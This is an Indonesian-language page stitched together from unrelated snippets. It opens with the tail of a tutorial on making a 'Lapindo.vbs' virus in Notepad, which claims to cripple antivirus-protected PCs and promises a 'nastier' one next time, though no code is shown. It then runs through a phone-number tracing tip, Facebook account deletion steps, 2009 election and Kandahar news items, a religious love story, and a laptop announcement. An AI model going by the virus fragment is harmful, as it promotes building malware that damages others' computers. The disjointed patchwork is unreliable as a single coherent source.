3. Kemudian simpan [File>>Save As] kasih nama “Lapindo.vbs” [Inget harus pake tanda kutip,jangan lupa]



4.Jadi dech tuch virus, kalau kamu klik [jangan dech,agak berbahaya soalnya]

Catatan:

Kalau kamu pake Anti Virus Avira [yang gambar red umbrella] maka langsung kedetect dengan nama VBS/Autorun.T . . .
Terus kalau kamu coba klik, maka sesuai namanya “Lapindo” kompi kamu yang pake anti virus AVG.Avira,Norton akan ditenggelamin alias gak fungsi lagi…
Dan masih banyak efek lainnya
So becareful

Akhirnya cukup sudah penjelasan mengenai buat virus pake notepad,dan inget aturan mainnya For Education Only. . . Kalau ada yang tertarik,lain kali buat lagi yang lebih ganaszzz, hehheheeh

Pada kehidupan kita sehari-hari terkadang kita sering kena iseng oleh orang yang tidak bertanggung jawab dengan cara mengirim sms berupa ancaman atau penipuan berkedok undian pada susatu produk atau mungkin hanya memisedchall saja pokoknya bayak deh yang jelas bikin jengkel dan penasan siapakan orang itu dan darimanakah dia berasal, ini ada sedikit cara untuk melacak keberadaan daerah nomor HP, dengan cara berikut anda bisa mengetahui dari daerah manakah nomor handphone tersebut. dengan mengetahui keberadaannya saja mungkin bisa menjawab rasa penasaran anda. berikut cara melacak nomor handphone tersebut: :t


# Pertama KLIK DISINI untuk memasuki situs penyedia jasa kedua masukan nomor handphone yang ingin anda lacak dikolom yang sudah disediakan ketiga klik tombol search tunggu sejenak, kemudian akan tampil data daerah asal nomor tersebut, namun setiap program pasti ada kekurangannya begitu juga dengan ini, kekurangannya adalah cara ini hanya berlaku bagi nomor dari provider Telkomsel saja belum suport bagi provider lain. :f

moga tips ini bermampaat. :)


Sumber artikel : Mas Asep

1. Buka akun Anda di Facebook, dan login.
2. Klik settings di kanan atas jendela Facebook dan pilih Account Settings
3. Kemudian muncul jendela baru dan pilih Deactivate Account- klik deactivate
4. Pilih salah satu alasan Anda mengapa Anda menghapus akun tersebut
5. Isilah halaman tersebut dan masukkan sekuriti kodenya
6. Kalau Anda sudah menemukan pesan ini “Your facebook account has been deactivated” dari tim Facebook maka akun anda BERHASIL di hapus.

catatan:
karena langkah menghapus Facebook di atas hanyalah deactivate akun Anda saja. Bila Anda berniat untuk menghapusnya secara PERMANEN ikuti cara dibawah ini.

Ternyata mendelete account Facebook itu tidaklah mudah. Sebelumnya saya telah memberi tahu bagaimana men”deactivate” akun Facebook kita. Untuk anda yang sudah mencobanya, saya minta coba login kembali ke Facebook. Apabila anda dapat masuk dengan mudahnya, berarti anda telah gagal mendelete akun tersebut.

Berikut adalah langkah yang benar bagaimana mendelete akun Facebook kita (tidak hanya deactivate). Dan mungkin membutuhkan waktu yang lama untuk benar-benar mengapusnya.

langkah-langkah:

- Hapus semua kawan anda dengan cara mengklik tanda “x” lalu memilih “remove friend”.
- Hapus semua foto di halaman album anda. Caranya, masuk ke halaman foto, lalu pilih album dan pilih “delete this album”.
- Hapus semua komentar yang anda kirim, dengan cara masuk ke halaman profile lalu pilih tanda “x” dan pilih “delete” di setiap kotak wall dan komentar anda.
- Cabut keanggotaan anda dari groups, fan, dan supporter di halaman INFO. Caranya dengan mengunjungi group anda lalu pilih “remove” atau “leave “.
- Hapus semua info tentang anda. Pilih “info” edit.
- Remove smua tag yang ada di halaman foto anda
- Kirim email ke http://www.facebook.com/help/contact…delete_account dan pilih hapus akun secara permanen. Masukkan password anda lalu masukkan kata sandi yang terlihat.



- Setelah terkonfirmasi, Facebook akan memberitahukan bahwa jika Anda tidak login selama 14 hari, maka akun anda akan terhapus dan tidak bisa direcovery.
- Setelah itu Facebook akan log out otomatis.
- Silahkan periksa 14 hari kemudian dengan login dengan akun anda. Kalau tidak bisa berarti Facebook anda berhasil di delete.

Belasan organisasi buruh dan pekerja mendeklarasikan dukungan kepada pasangan calon presiden dan calon wakil presiden Susilo Bambang Yudhoyono-Boediono dalam pemilihan presiden 8 Juli nanti. SBY-Boediono dianggap serius dan berkomitmen menjalankan serta menegakan regulasi ketenagakerjaan.

Pernyataan dukungan itu disampaikan 19 pimpinan organisasi buruh dan pekerja di Jakarta, Jumat. (3/7). Sejumlah pimpinan organisasi buruh dan pekerja hadir dalam deklarasi itu. Antara lain Ketua Umum Federasi Serikat Pekerja Nasional Bambang Wirahyoso, Ketua Konfederasi Serikat Pekerja Seluruh Indonesia Albion Sidabutar, Ketua Umum Serikat Buruh Migran Indonesia M Miftah Farid, dan Ketua Umum Asosiasi Serikat Pekerja Indonesia Mohamad Hakim.

Kandahar: Kepala polisi Provinsi Kandahar, Afghanistan, termasuk di antara 10 polisi yang tewas, Senin (29/6), dalam tembak-menembak dengan para penjaga keamanan setempat yang dipekerjakan oleh pasukan Amerika Serikat.

Kepala Dewan Provinsi Kandahar Ahmad Wali Karzai, mengatakan, tidak jelas apa yang telah memicu bakutembak di luar salah satu Kantor Jaksa Agung di Kota Kandahar itu.

"Dalam bakutembak antara para penjaga keamanan swasta Afghanistan dan polisi, 10 polisi termasuk kepala polisi Kandahar Mutaiullah Khan Qateh dan kepala polisi penyelidikan kejahatan tewas," kata Karzai.

Sepotong Cerita:

Gayung pun bersambut. Dia ternyata juga menyintai saya. Saya merasa telah menemukan pasangan hidup yang tepat. Kami berjanji untuk menempatkan cinta ini
dalam ikatan suci yang diredhai Allah, iaitu ikatan pernikahan. Akhirnya kami berdua lulus dengan nilai tertinggi di fakulti.

Sepotong Cerita:

Dalam hidup ini tak ada yang lebih saya cintai dari Allah dan Rasul-Nya. Lakal hamdu wasy syukru ya Rabb. Duhai Tuhanku, kepada-Mu hamba bersimpuh, hamba sangat bersyukur telah Engkau anugerahi rasa cinta yang indah ini. Rasa cinta yang indah inilah yang membuat saya merasa hidup ini—dengan segala suka dan dukanya terasa indah.

ASUS telah berhasil mengungkapkan baru generasi laptop di bawah merek Lamborghini - ASUS Lamborghini VX3. Ini merupakan perangkat ultra ramping dilengkapi dengan layar 12,1 inci. Perumahan dan fitur tradisional kuning Lamborghini dan hitam warna dan logo perusahaan. Produsen untuk menarik perhatian elit materi diterapkan dalam produk - Titan alloy, kaca sapphire untuk lensa kamera dan kulit berkualitas tinggi. Laptop seri baru akan showcased pada acara CeBIT 2008, 4-9 Maret. Sumber belum diungkapkan rilis tanggal ASUS-Lamborghini VX3.